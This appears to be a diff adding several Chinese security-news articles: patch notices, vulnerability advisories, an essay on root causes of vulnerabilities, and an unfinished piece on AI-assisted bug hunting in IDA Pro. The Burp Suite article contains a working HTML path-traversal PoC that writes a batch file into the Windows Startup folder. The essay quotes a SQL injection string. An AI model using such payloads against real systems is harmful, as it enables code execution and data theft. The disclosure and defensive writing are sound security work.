**补丁与缓解措施**
|
||||
|
||||
请立即升级至 Webmin 2.641，该版本已修复上述全部三个漏洞，可从
|
||||
官方发布页面
|
||||
获取。目前没有可替代补丁的独立缓解方案，请尽快完成升级。在升级之前，建议限制对 Webmin 端口的网络访问，同时监控日志中异常的 User-Agent 字符串及意外的证书登录行为。
|
||||
|
||||
参考链接：
|
||||
|
||||
https://webmin.com/security/[#webmin]()
|
||||
|
||||
-prior-to-2641
|
||||
|
||||
@@ -0,0 +1,175 @@
|
||||
# 【$5,000】Burp Suite Professional 中的RCE漏洞-PoC及视频演示
|
||||
Z2O安全攻防 2026-06-23 13:18
|
||||
|
||||
<table><tbody><tr><td data-colwidth="557" width="557" valign="top" style="word-break: break-all;"><h1 data-selectable-paragraph="" style="white-space: normal;outline: 0px;max-width: 100%;font-family: -apple-system, system-ui, "Helvetica Neue", "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 18px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="color: rgb(255, 0, 0);"><strong><span style="font-size: 15px;"><span leaf="">声明：</span></span></strong></span></span></strong><span style="outline: 0px;max-width: 100%;font-size: 18px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 15px;"><span leaf="">文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由用户承担全部法律及连带责任，文章作者不承担任何法律及连带责任。</span></span></span></h1></td></tr></tbody></table>#
|
||||
|
||||
### 目标
|
||||
|
||||
Windows 平台上的 Burp Suite Professional 2026.3.3。
|
||||
### 概述
|
||||
|
||||
当 Burp Scanner 的浏览器驱动爬虫爬取攻击者的网站时，该网站可以强制 Burp 将攻击者控制的文件写入到攻击者控制的本地路径中。例如，PoC 可将 calc.exe
|
||||
写入当前用户的“启动”文件夹中，从而在用户下一次登录时触发命令执行。
|
||||
|
||||
该问题是由 Burp 对 <input type="file">
|
||||
标签的处理方式引起的：Burp 会根据网页端可控的属性来创建本地上传文件，但在生成的“文件名”中没有阻止路径穿越。
|
||||
### 复现步骤
|
||||
1. 在攻击者控制的网站上部署以下 HTML 代码：
|
||||
|
||||
```
|
||||
<!doctype html><html><body><form action="/upload" method="post" enctype="multipart/form-data"><inputtype="file"name="upload"value="calc.exe"accept="./../../../../Roaming/Microsoft/Windows/Start Menu/Programs/Startup/burp_calc.bat"><button type="submit">Upload</button></form></body></html>
|
||||
```
|
||||
|
||||
在本地复现中，我们可以将此文件托管为：
|
||||
```
|
||||
python -m http.server 8000http://192.168.186.149:8000/poc_file_input_write_startup_calc.html
|
||||
```
|
||||
1. 在 Burp Suite Professional 中，启动一个新的爬虫任务：
|
||||
|
||||
```
|
||||
Dashboard -> New scan -> CrawlURLs to scan -> http://192.168.186.149:8000/poc_file_input_write_startup_calc.html// 为了让效果更明确Scan configuration -> Deep -> Crawl configuration -> Browser behaviour -> Always use Burps' browser（扫描配置 -> 深度 -> 爬虫配置 -> 浏览器行为 -> 始终使用 Burp 的浏览器）
|
||||
```
|
||||
1. 开始爬取。
|
||||
|
||||
1. 爬虫处理该页面后，检查当前用户的“启动”文件夹：
|
||||
|
||||
```
|
||||
C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\burp_calc.bat
|
||||
```
|
||||
|
||||
观察到的结果内容为：
|
||||
```
|
||||
calc.exe
|
||||
```
|
||||
1. 注销并重新登录系统，calc.exe
|
||||
将从“启动”文件夹中被执行。
|
||||
|
||||
### 根本原因
|
||||
|
||||
根本原因在于，Burp 将不可信的网页属性视为安全的本地文件元数据。以下代码片段取自反编译的 Burp 代码，为了提高可读性，我对混淆的类名、方法名和变量名进行了重命名，但其逻辑保持不变。当爬虫与表单交互时，它会检测文件输入并调用文件输入准备代码：
|
||||
```
|
||||
for ( FormInput input : discoveredInputs ) { if ( input.type() == InputType.FILE ) { prepareFileInput( input ); continue; } fillNormalInput( input );}
|
||||
```
|
||||
|
||||
文件输入准备代码会创建一个本地文件，将网页端控制的输入值写入其中，然后在浏览器中选中该文件：
|
||||
```
|
||||
private static void prepareFileInput( FormInput input ) throws IOException { if ( isBlank( input.inputValue() ) ) { return; } File uploadFile = buildTemporaryUploadFile( input ); Files.write( uploadFile.toPath(), bytes( input.inputValue() ) ); BrowserFileInput browserFileInput = input.browserElement().fileInput(); browserFileInput.selectFile( uploadFile.toPath() );}
|
||||
```
|
||||
|
||||
本地文件路径是通过创建一个临时目录并在其下解析衍生文件名来构建的：
|
||||
```
|
||||
private static File buildTemporaryUploadFile( FormInput input ) throws IOException { String filename = input.deriveFileNameFromFileInput().orElse( "file" ); Path tempDirectory = Files.createTempDirectory( "burp" ); return tempDirectory.resolve( filename ).toFile();}
|
||||
```
|
||||
|
||||
而不安全的文件名则来源于文件输入的 accept
|
||||
属性。Burp 会将任何以 .
|
||||
开头的标记（token）接受为扩展名：
|
||||
```
|
||||
private Optional < FileName > deriveFileNameFromFileInput() { if ( input.type() != InputType.FILE ) { return Optional.empty(); } String accept = input.attribute( "accept" ); for ( String token : accept.split( "," ) ) { if ( token.startsWith( "." ) ) { fileNameBuilder.addExtension( token ); } } return Optional.of( fileNameBuilder.build() );}
|
||||
```
|
||||
|
||||
因此，带有攻击者可控路径遍历内容的 filename
|
||||
被直接用在了 Path.resolve(filename)
|
||||
中。
|
||||
### 建议的修复方案
|
||||
|
||||
Burp 不应直接将网页端控制的文件输入元数据用作本地文件系统的路径。至少，用于临时上传文件的文件名应当经过重新生成或“过滤”，以确保网页无法引入路径分隔符、遍历序列或任何可以逃逸出 Burp 预设临时目录的值。
|
||||
### 影响
|
||||
|
||||
通过 Burp Scanner 访问的网站可以向当前用户拥有写入权限且父目录已存在的任意本地位置写入攻击者控制的文本文件。在 Windows 系统上，这可用于向当前用户的“启动”文件夹中写入一个 .bat
|
||||
文件。
|
||||
|
||||
该文件会在用户下一次登录时运行，从而实现延迟的代码执行，这符合漏洞赏金指南中的“高危”严重性示例：
|
||||
> “通过 Burp Suite 访问的网站可以使 Burp 执行任意代码”
|
||||
|
||||
|
||||
### PoC视频演示
|
||||
|
||||
|
||||
|
||||
漏洞报告：
|
||||
https://hackerone.com/reports/3712279
|
||||
|
||||
- END -
|
||||
|
||||
**下面是一则内部学习圈广告😜**
|
||||
|
||||
**别着急退，看完的师傅们有福了/doge**
|
||||
|
||||
欢迎师傅们加入
|
||||
内部网络安全学习圈子
|
||||
。
|
||||
圈子提供三大板块的内容：
|
||||
|
||||
**1**
|
||||
|
||||
**网络安全0→1学习路径**
|
||||
|
||||
|
||||
|
||||
|
||||
1. 完整的「30+周安全学习任务路线图」公开，每周任务明确，清晰的学习重点和目标，从入门到进阶，由浅入深，循序渐进；
|
||||
|
||||
1. 学习内容涵盖：
|
||||
|
||||
1. 常见的Web漏洞原理与利用
|
||||
|
||||
1. 业务逻辑漏洞挖掘
|
||||
|
||||
1. SRC实战技巧
|
||||
|
||||
1. WAF绕过、代码审计、免杀钓鱼
|
||||
|
||||
1. 内网渗透
|
||||
|
||||
（Linux&Windows）提权与权限维持
|
||||
|
||||
1. 隧道代理、域渗透、云安全、AI安全
|
||||
|
||||
1. 每周发布学习任务+参考资料+建议，学员可自主学习+实战练习；
|
||||
|
||||
|
||||
|
||||
2
|
||||
|
||||
**SRC漏洞专项挖掘**
|
||||
|
||||
|
||||
|
||||
|
||||
1. SRC漏洞知识库持续更新；
|
||||
|
||||
1. SRC挖掘技巧、分析方法、视频教程打包；
|
||||
|
||||
1. 分享优质挖矿案例，降低上手门槛，教你赚赏金。
|
||||
|
||||
|
||||
|
||||
3
|
||||
|
||||
**常态化内容更新**
|
||||
|
||||
|
||||
|
||||
|
||||
日常分享优质学习资源与攻防渗透技巧，包括但不限于：
|
||||
1. 红队/蓝队安全攻防、免杀、钓鱼技巧、攻防渗透tips；
|
||||
|
||||
1. 学习路线推荐，教程、方法、技巧tips打包分享，实战视频、工具、手册一应俱全；
|
||||
|
||||
1. 根据网络安全初中级学习者水平，精选最有用的内容，不让你在信息洪流中迷路。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
****
|
||||
@@ -0,0 +1,39 @@
|
||||
# 三星 KNOX 内核释放后重用漏洞，数百万 Galaxy 系列手机面临风险
|
||||
鹏鹏同学
|
||||
鹏鹏同学 黑猫安全 2026-06-24 00:50
|
||||
|
||||
|
||||
|
||||
研究人员在三星 KNOX 安全组件栈中发现一处高危内核漏洞，棘手之处在于漏洞藏身的位置：这套软件本是用来抬高攻击者入侵门槛的防护模块。漏洞编号 CVE-2026-20971 属于释放后重用（UAF）漏洞，出现在 PROCA 与 FIVE 这两个内核子系统交互逻辑中，二者负责三星设备的进程完整性校验工作。
|
||||
|
||||
该漏洞根源为竞态条件缺陷。FIVE 通过task_integrity
|
||||
对象追踪进程；当进程状态发生变更（例如创建子进程 fork、调用 execve 执行新程序）时，旧的完整性对象会被释放，同时生成新对象接替工作。这套内存交接逻辑本应完整无缺，但安卓抢占式内核给攻击者留出了可利用的时间间隙：一个线程读取内存指针后被系统挂起，恢复运行时继续操作已被释放的内存，漏洞就此触发。
|
||||
|
||||
LucidBit 实验室对核心问题描述如下：目标进程执行 execve 系统调用，调用task_integrity_put(old_tint)
|
||||
释放原始结构体。后续流程风险同样严重：proc_integrity_value_read()
|
||||
恢复执行，并携带指向已释放内存的指针调用task_integrity_user_read()
|
||||
。
|
||||
|
||||
实验室发布的报告中写道：“漏洞利用逻辑本身不算复杂，但竞态窗口极窄。执行proc_integrity_value_read()
|
||||
的进程必须精准卡在几条指令的时间区间内被调度切出，且切出时长足够让攻击者篡改这块内存。”
|
||||
|
||||
一旦满足上述时序条件，漏洞不再只是理论风险，而是可稳定触发、存在完整内存破坏链路的可用释放后重用漏洞。
|
||||
|
||||
三星内核控制流完整性保护（KCFI）虽能缓解威胁，但无法彻底根除漏洞。该机制通过拦截任意函数调用缩小攻击面，具备防护作用，却不足以封堵漏洞。研究人员另辟蹊径：让进程加载不可执行的非 ELF 格式文件，绕过reset_file
|
||||
引用计数拦截逻辑，随后以完全可控的方式重新占用已释放内存。这类漏洞利用思路，足以让内核开发工程师倍感头疼。
|
||||
|
||||
该漏洞并非纯学术演示。LucidBit 实验室表示，任意不受信任的普通应用程序均可触发此漏洞，引发内核内存损坏 —— 这正是攻击者最青睐的入侵突破口。
|
||||
|
||||
报告补充：“任意不可信应用均可利用该漏洞，攻击者能够获取多种内存破坏原语，存在完全控制整台设备的风险。”
|
||||
|
||||
三星已于 2026 年 1 月安全更新中修复此漏洞，受影响机型覆盖范围极广：从 Galaxy S9 至 Galaxy S25 全系列，A 系列机型；同时包含搭载猎户座、高通芯片的设备，系统版本覆盖安卓 13、14、15、16。
|
||||
|
||||
三星官方安全公告将该漏洞描述为 2026 年 1 月第一版维护发布（SMR）之前，SecSettings 组件存在不当输入校验，并注明漏洞需要本地访问 + 用户交互才能触发。这段描述看似风险有限，但要知道移动端 “本地访问” 往往只需用户一次误触即可实现：手机丢失、外借、无人看管、出售前未彻底恢复出厂，都会快速扩大攻击面。
|
||||
|
||||
本次事件带来更具普适性的安全启示：防护类安全组件不能因其 “防御属性” 就默认无懈可击。只要模块运行在内核层、负责进程状态检测、处理信任判定逻辑，自身就会成为攻击面的一部分。防护屏障未必不能被攻击者当作攀爬跳板，抱有这种侥幸心理将付出巨大安全代价。
|
||||
|
||||
该漏洞也印证了企业安全运维人员熟知的风险规律：移动端内核漏洞同样会对企业业务构成威胁。一旦员工手机遭到入侵，攻击者可将其作为跳板渗透企业内网。移动终端常年在线、普遍被内网信任，监控力度却远低于电脑终端，多重因素叠加形成极高风险组合。核心警示十分直白：尽快安装安全补丁，切勿仅凭 “安全工具” 的名号就默认其自身绝对安全。
|
||||
|
||||
报告总结：“经过定制修改的代码，尤其是复杂机制相关模块，向来是漏洞挖掘的重点目标。FIVE 属于三星 KNOX 安全套件组件，本次研究证实防护机制本身反而可能扩大攻击面。本次研究也展现出利用内核竞态漏洞的通用难点：极短的竞态窗口，且需要在不同缓存中重新分配已释放内存；同时验证了内核 CFI 是高效缓解手段，基本阻断了任意函数调用原语，但即便如此，攻击者仍可使用其他威力强劲的内存操作原语完成入侵。”
|
||||
|
||||
|
||||
@@ -0,0 +1,131 @@
|
||||
# 国际足联后台曝出高危漏洞，黑客可随意篡改世界杯直播
|
||||
走狗是狗哥
|
||||
走狗是狗哥 安在 2026-06-23 11:08
|
||||
|
||||
|
||||
|
||||
近日，一名网络安全研究员披露的国际足联（FIFA）旗下转播平台高危漏洞，为全球顶级体育赛事的转播安全敲响了警钟。
|
||||
|
||||
|
||||
这一漏洞的发现与快速处置，既暴露了大型数字化平台在API权限管控上的普遍短板，也展现了白帽安全生态在应对公共安全风险中的关键价值。
|
||||
|
||||
|
||||
事情源于这名研究员对FIFA多款内部转播平台的常规安全检测。
|
||||
|
||||
|
||||
他很快发现，这些面向全球转播商开放的后端系统，在核心API接口上存在严重的权限校验缺失——系统未对访问者的身份与权限级别做严格核验，任何人只要定位到对应的接口地址，无需掌握高阶黑客技术，就能绕过验证直接进入后台。
|
||||
|
||||
|
||||
极低的利用门槛大幅放大了风险的覆盖范围：普通人员即可借此获取全部世界杯赛事的直播流权限，入侵转播商专属控屏后台，不仅能随意篡改实时赛事画面、替换演播屏解说内容，极端情况下甚至可以劫持全场摄像信号，将任意视频替换进全球直播链路。
|
||||
|
||||
|
||||
一旦漏洞被恶意利用，不仅会直接摧毁赛事转播的公信力，更可能借全球传播的画面制造误导性信息，引发不可预估的公共影响，而这一隐患实际上对历届已公开转播的世界杯都构成了潜在威胁。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
研究员发现风险后第一时间向国际足联提交了漏洞详情，并未做任何恶意利用。
|
||||
|
||||
|
||||
FIFA安全团队的响应十分高效，接报后立刻启动应急响应流程，仅用数小时就完成了漏洞封堵修复，彻底消除了直播信号被篡改的安全隐患，整个处置流程规范且迅速。
|
||||
|
||||
|
||||
这件事看似是一次普通的白帽漏洞披露事件，实则折射出当下大型体育赛事数字化转型中的深层安全困境。
|
||||
|
||||
|
||||
随着世界杯等顶级赛事的转播体系全面线上化、云端化，大量API接口成为连接转播商、制作团队、播出平台的核心枢纽，但权限管控的精细化程度却没能跟上业务扩张的速度。
|
||||
|
||||
|
||||
很多平台将防护重心放在外围防火墙、入侵检测上，却忽略了内部接口权限校验这类基础安全环节，最终让低门槛漏洞演变成足以撼动全局的安全隐患。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
更值得警惕的是，这类内容篡改风险的危害早已超出了传统网络攻击的范畴。
|
||||
|
||||
|
||||
在深度伪造技术快速普及的当下，一旦直播信号被恶意劫持，虚假内容会借助全球转播瞬间扩散，其对赛事公信力、公共舆论的破坏力，远大于传统的系统瘫痪攻击。
|
||||
|
||||
|
||||
而FIFA此次的快速处置，也为大型机构应对此类风险提供了参考范本：建立畅通的白帽漏洞上报渠道，以最高优先级处置核心公共风险，既是对公众利益负责，也能将潜在损失降到最低。
|
||||
|
||||
|
||||
总体而言，这次FIFA直播漏洞事件是一次有惊无险的安全预警。
|
||||
|
||||
|
||||
它提醒所有承载公共传播职能的平台，网络安全从来不是业务的附加项，而是运行的底线。
|
||||
|
||||
|
||||
尤其是对世界杯这类全球关注的顶级赛事而言，每一个后端接口、每一处权限设置，都关乎公共信息安全。
|
||||
|
||||
|
||||
唯有把安全校验前置到业务设计的每一个环节，同时保持开放的安全协作生态，才能在数字化浪潮中守住转播安全的底线。
|
||||
|
||||
**安在企业（用户）会员服务**
|
||||
|
||||
**助力全生命周期安全意识提升**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
“安在企业（用户）会员服务”，为所有企业提供一站式的网络安全支援服务，包括意识宣传、培训教育、效果检验、专业圈子、知识社区、专业培训、参选评奖等多个板块，助力网安从业者高效履职，实现个人与企业安全能力同步升级。
|
||||
|
||||
|
||||
**小投入大防护！安在推出企业（用户）会员服务，点击标题阅读详情。**
|
||||
|
||||
|
||||
深度贴合企业不同规模、安全水平投入以及员工安全意识的不同发展阶段，特设5级安全意识培训服务体系，为企业用户量身匹配适配的安全意识解决方案。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
本文展示所有类型素材，均包含在企业（用户）会员服务中，如有意向，欢迎垂询。
|
||||
|
||||
**加入诸子云知识星球**
|
||||
|
||||
|
||||
|
||||
|
||||
获取更多“安全意识资料”和“网络安全报告”
|
||||
|
||||
****
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**<**
|
||||
|
||||
**滑动查看下一张图片**
|
||||
|
||||
**>**
|
||||
|
||||
**END点击这里阅读原文**
|
||||
|
||||
@@ -0,0 +1,109 @@
|
||||
# 漏洞产生的五个原因
|
||||
原创 破天KK
|
||||
破天KK KK安全说 2026-06-24 00:18
|
||||
|
||||
科技行业普遍认为安全漏洞很少见，只有在极其罕见的极端情况下或遇到罕见的零日漏洞才会出现。人们普遍认为，只要代码运行正常，系统就一定是安全的。
|
||||
|
||||
这种想法大错特错，而且非常危险。
|
||||
|
||||
漏洞并非总是源于糟糕的代码，它们也可能源于错误的假设，源于过于复杂以至于无人能够完全理解的系统，源于优先考虑速度而忽视安全性的设计决策，以及源于出于好意却悄然引入漏洞的定制化操作——这些漏洞直到攻击者轻易利用才被发现。
|
||||
|
||||
### 1. 人类的假设
|
||||
|
||||
|
||||
|
||||
|
||||
这就是无声的杀手。
|
||||
|
||||
缺乏安全意识的开发者往往会想当然地认为用户会完全按照预期的方式与系统交互。登录表单会接收用户名和密码。头像上传会接收JPEG格式的图片。搜索栏会接收搜索查询。
|
||||
|
||||
攻击者并非按照预期的方式使用系统，而是以开发者始料未及的各种方式使用系统。
|
||||
|
||||
**实际场景：**一位开发者开发了一个个人资料照片上传功能。假设很简单：用户将上传图像文件。没有实现文件类型验证，因为“除了照片，谁还会上传其他东西呢？”
|
||||
|
||||
攻击者上传了一个伪装成.jpg.php其他网站的 PHP Web Shell 程序。服务器处理了该程序。攻击者由此获得了对 Web 服务器的远程命令执行权限。
|
||||
|
||||
这里的漏洞并非程序错误。代码本身运行完全符合预期。真正的漏洞在于**假设**用户只会按照设计的方式使用该功能。
|
||||
|
||||
|
||||
**解决方法：**将所有用户输入都视为恶意输入。在服务器端验证文件类型。限制允许的文件扩展名。检查 MIME 类型。扫描上传的文件是否存在恶意内容。永远不要相信客户端会发送你期望的内容。
|
||||
|
||||
|
||||
|
||||
### 2. 软件漏洞
|
||||
|
||||
|
||||
|
||||
|
||||
这是大多数人听到“漏洞”这个词时首先想到的：一种引入意外行为的编程错误。
|
||||
|
||||
关键的区别在于：一段代码即使完全符合其功能需求，仍然可能存在严重的安全隐患。“它能运行”和“它安全”是两个截然不同的说法。
|
||||
|
||||
**实际场景：**一个Web应用程序处理表单数据并与数据库交互。开发人员没有使用参数化输入，而是直接将用户输入拼接成SQL查询字符串。
|
||||
```
|
||||
```
|
||||
|
||||
攻击者提交了精心构造的输入' OR '1'='1，查询结果返回数据库中的所有记录。敏感数据被窃取，账户被盗用。而应用程序却始终“运行正常”。
|
||||
|
||||
**解决方法：**永远不要将用户输入拼接到查询语句中。每次数据库交互都应使用参数化查询和预处理语句。运行静态分析工具，标记不安全的查询构造模式。在参数化查询之上，实施输入验证作为纵深防御层。
|
||||
### 3. 系统复杂性
|
||||
|
||||
|
||||
|
||||
|
||||
现代应用程序并非运行在单个服务器上的单一代码块，而是由 API、微服务、数据库、身份验证提供商、支付处理器、CDN、消息队列和第三方集成等组成的庞大生态系统。
|
||||
|
||||
组件之间的每一个连接都可能存在配置错误。每一次集成都可能造成信任边界失效。而且，系统越复杂，任何一个人就越难将整个架构牢记于心。
|
||||
|
||||
**真实场景：**一家公司在其Web应用程序中集成了多个第三方服务。身份验证提供商负责处理登录，支付处理商负责处理交易，分析服务负责跟踪数据。在一次例行部署过程中，一个内部管理API端点意外暴露在公共互联网上。该端点原本设计为只能通过VPN访问。
|
||||
|
||||
由于涉及的服务和配置数量庞大，因此无人察觉。攻击者通过基本的侦察手段发现暴露的端点，并直接访问关键的管理功能。
|
||||
> **复杂性并非优势，而是攻击面。添加到系统中的每一个组件都必须进行安全保护、监控和持续维护。**
|
||||
|
||||
|
||||
**解决方案：**维护一份最新的 API 端点、服务和集成清单。定期进行攻击面审计。使用自动化工具扫描暴露的端点和错误配置。对每个服务间连接应用最小权限原则。如果某个服务不需要公开访问，那么就绝对不能公开访问。
|
||||
### 4. 过度定制
|
||||
|
||||
企业软件开发中存在一种反复出现的模式，大致如下：
|
||||
|
||||
一家机构正在评估一个经过充分测试的标准身份验证（或会话管理或访问控制）框架。该框架与机构的内部需求并不完全匹配。因此，他们没有选择调整框架以满足自身需求，而是决定从头开始构建一个定制解决方案。
|
||||
|
||||
自定义代码意味着自定义漏洞。而自定义安全关键代码意味着自定义安全关键漏洞。
|
||||
|
||||
**实际场景：**某组织没有采用成熟的框架（例如 OAuth 2.0）或维护良好的身份验证库，而是构建了一个自定义身份验证系统。该自定义系统包含其自身的密码存储逻辑、会话处理机制和帐户恢复流程。
|
||||
|
||||
第一年运行良好。之后，开发团队离职。维护工作变得断断续续。密码哈希算法落后于行业标准。会话超时时间变得不稳定。账户恢复流程出现逻辑漏洞，攻击者可以通过篡改恢复令牌来重置任何用户的密码。
|
||||
|
||||
如果采用标准的、由社区维护并定期接收安全更新的框架，这一切都不会发生。
|
||||
|
||||
**解决方案：**所有安全关键功能都应默认使用成熟且维护良好的框架。除非存在现有解决方案无法满足的真正特殊需求，否则绝不应自定义构建身份验证、会话管理、加密和访问控制功能。如果自定义不可避免，则应将自定义代码视为高风险组件，需要进行专门的安全审查和定期审计。
|
||||
### 5. 技术和设计缺陷
|
||||
|
||||
这可以说是最危险的一类问题，因为缺陷不在于代码，而在于架构。
|
||||
|
||||
技术和设计缺陷源于系统从一开始就未内置安全机制。功能是后期添加的，安全控制措施也是事后才匆忙添加的。而最初的设计中却隐藏着逻辑漏洞，任何安全的编码都无法弥补，因为这种缺陷是结构性的。
|
||||
|
||||
**实际场景：**一个Web应用程序需要实现多因素身份验证（MFA）。开发人员将MFA添加到登录流程中。用户输入密码，然后会收到发送到手机上的一次性验证码。这是标准实现方式。
|
||||
|
||||
但这里存在一个设计缺陷：应用程序在多因素身份验证 (MFA) 步骤完成之前就颁发了完全认证的会话 cookie 。会话是在密码验证之后、一次性代码提交之前创建的。
|
||||
|
||||
攻击者如果通过网络钓鱼或撞库攻击获取了有效密码，就可以登录并接收会话 cookie，然后直接访问已认证的页面，而无需完成多因素身份验证 (MFA)。MFA 界面只是一个前端入口，后端实际上已经授予了完全访问权限。
|
||||
|
||||
|
||||
**解决方案：**必须从第一次白板讨论会开始就将安全性融入架构设计中。特别是对于多因素身份验证 (MFA)，只有在所有身份验证因素都成功验证后，才能颁发已认证会话。在设计阶段进行威胁建模，而不是在部署之后。审查端到端的身份验证流程，而不仅仅是单个组件。
|
||||
|
||||
## 五个背后的模式
|
||||
|
||||
综合考虑这五个根本原因，可以发现一个清晰的模式。
|
||||
|
||||
漏洞的出现很少是因为攻击者做了什么高明的手段，而是因为防御者做出了错误的假设。他们假设用户会按照预期的方式行事，假设代码只会接收到预期的输入，假设系统过于复杂以至于任何人都无法发现配置错误，假设自定义代码“足够好”，假设设计图看起来很安全，就想当然地认为它是安全的。
|
||||
|
||||
攻击者不需要多么聪明，他们只需要耐心和一个会做出错误假设的目标。
|
||||
|
||||
令人不安的事实是，大多数安全漏洞攻击都十分平庸。它们利用的是早已为人熟知、记录了几十年的漏洞类型。SQL注入自OWASP Top 10列表创建以来就一直位列其中。不受限制的文件上传也是一种已知的攻击途径，存在时间超过20年。通过会话管理不当绕过多因素身份验证（MFA）是渗透测试报告中的经典案例。
|
||||
|
||||
预防这些漏洞的知识早已存在。差距不在于知识，而在于执行力：构建系统时，始终假设每个用户都是攻击者。验证每一个输入。简化每一个系统。默认使用成熟的框架。在编写第一行代码之前，就将安全性融入架构设计之中。
|
||||
|
||||
这份清单上的所有漏洞都是可以预防的，每一个都是。唯一的问题是，预防措施是在漏洞发生之前实施，还是在漏洞发生之后实施。
|
||||
|
||||
|
||||
@@ -0,0 +1,43 @@
|
||||
# 漏洞预警 | Linux kernel权限提升漏洞
|
||||
浅安
|
||||
浅安 浅安安全 2026-06-24 00:00
|
||||
|
||||
**0x00 漏洞编号**
|
||||
- # CVE-2026-46331
|
||||
|
||||
**0x01 危险等级**
|
||||
- 高危
|
||||
|
||||
**0x02 漏洞概述**
|
||||
|
||||
Linux kernel是美国Linux基金会的开源操作系统Linux所使用的内核。
|
||||
|
||||
|
||||
|
||||
**0x03 漏洞详情**
|
||||
|
||||
**CVE-2026-46331**
|
||||
|
||||
**漏洞类型：**
|
||||
权限提升
|
||||
|
||||
**影响：**
|
||||
获取root权限
|
||||
|
||||
**简述：**
|
||||
Linux Kernel net/sched act_pedit存在本地权限提升漏洞，由于其tcf_pedit_act()函数在处理数据包编辑操作时，函数仅在循环外基于tcfp_off_max_hint一次性计算skb写时复制COW范围，该提示值未考虑运行时类型密钥追加的报文头部偏移，导致部分待写入内存区域未执行COW拷贝。攻击者可通过非特权用户命名空间配合CAP_NET_ADMIN权限，构造恶意tc流量规则，触发未COW的共享只读页缓存写入篡改；无需内核竞态条件，可稳定篡改setuid-root二进制文件的页缓存，不会持久写入磁盘，仅内存层面生效。成功利用后本地普通用户可直接获取系统root最高权限，从而实现完全控制服务器。
|
||||
|
||||
**0x04 影响版本**
|
||||
- v5.18 <= Linux Kernel < v7.1-rc7
|
||||
|
||||
**0x05 POC状态**
|
||||
- 已公开
|
||||
|
||||
**0x06****修复建议**
|
||||
|
||||
**目前官方已发布漏洞修复版本，建议用户升级到安全版本****：**
|
||||
|
||||
https://www.kernel.org/
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,42 @@
|
||||
# 漏洞预警 | 大蚂蚁即时通讯系统任意文件上传漏洞
|
||||
浅安
|
||||
浅安 浅安安全 2026-06-24 00:00
|
||||
|
||||
**0x00 漏洞编号**
|
||||
- # 暂无
|
||||
|
||||
**0x01 危险等级**
|
||||
- 高危
|
||||
|
||||
**0x02 漏洞概述**
|
||||
|
||||
杭州九麒科技大蚂蚁即时通讯系统是一款企业级IM通信管理系统，提供多种功能支持。
|
||||
|
||||
|
||||
|
||||
**0x03 漏洞详情**
|
||||
|
||||
**漏洞类型：**
|
||||
任意文件上传
|
||||
|
||||
**影响：**
|
||||
上传恶意文件
|
||||
|
||||
**简述：**
|
||||
大蚂蚁即时通讯系统的
|
||||
/addin/Upload/uploadMultipleFile接口存在任意文件上传漏洞，经验证的攻击者可以通过上传特制的php文件，执行恶意代码，实现服务器的远程控制，可能导致敏感信息泄露、数据篡改等危害。
|
||||
|
||||
**0x04 影响版本**
|
||||
- BigAnt >= 5.5.x
|
||||
|
||||
**0x05****POC状态**
|
||||
- 已公开
|
||||
|
||||
**0x06****修复建议**
|
||||
|
||||
**目前官方已发布漏洞修复版本，建议用户升级到安全版本****：**
|
||||
|
||||
https://www.bigant.cn/
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,194 @@
|
||||
# 用 AI 挖掘 IDA Pro 任意代码执行漏洞
|
||||
原创 i3eg1nner
|
||||
i3eg1nner SecureNexusLab 2026-06-24 01:15
|
||||
|
||||
IDA Pro是逆向工程领域最顶级的商业工具，正版授权价格不低，但安全圈几乎人手一份。全世界的漏洞猎人、恶意软件分析师、二进制研究员，做这行的都离不开它。它最核心的本事，是把你看不懂的机器码「反编译」成接近人类可读的伪代码，让研究员能搞清楚一段二进制到底在干什么，然后在里面找毛病。
|
||||
|
||||
这就是那个荒诞的地方，用来找漏洞的工具，被AI找出了漏洞。
|
||||
|
||||
这个Claude也不是第一次干这种事了。同一个操作者之前用它破了Radare2（开源逆向工具），又绕过了NSA的Ghidra服务器认证。操作者维护着一张清单，记录着所有被Claude搞定过的逆向工程工具，IDA Pro排在下一位。
|
||||
|
||||
听着就已经有点荒诞，但后面更荒诞。
|
||||
|
||||
**「闭源软件，怎么审」**
|
||||
|
||||
这次的难点比之前都大，而且难的方式很具体。
|
||||
|
||||
Radare2和Ghidra都是开源的，Claude可以直接读源代码。这次的目标是IDA Pro 9.3的aarch64版本，闭源，拿到手的是几百兆二进制文件，全是.so
|
||||
，没有.dylib
|
||||
，没有.dll
|
||||
。让AI直接读汇编代码效率极低，机器码和token之间本来就没有什么自然的映射关系，更别说在几百兆的编码指令里找逻辑漏洞了。
|
||||
|
||||
操作者给Claude接上了一个叫 ida-mcp-rs
|
||||
的MCP服务，这是一个让Claude可以直接查询IDA自带反编译器的接口。有了这个接口，Claude可以把它想分析的任何函数发给IDA的反编译器，拿回接近C语言的伪代码，再基于伪代码做分析。不是在盲读机器码，而是在读经过反编译处理后的「人话版代码」。
|
||||
|
||||
操作者的第一个任务Prompt是，「分析这个文件夹里的二进制文件，找出哪个负责解析用户输入的结构体类型定义，判断编译这些类型是否可能导致代码执行。」
|
||||
|
||||
Claude先去审了IDA的二进制加载插件，也就是负责把各种格式的可执行文件加载进IDA的那部分代码。
|
||||
|
||||
什么都没找到。
|
||||
|
||||
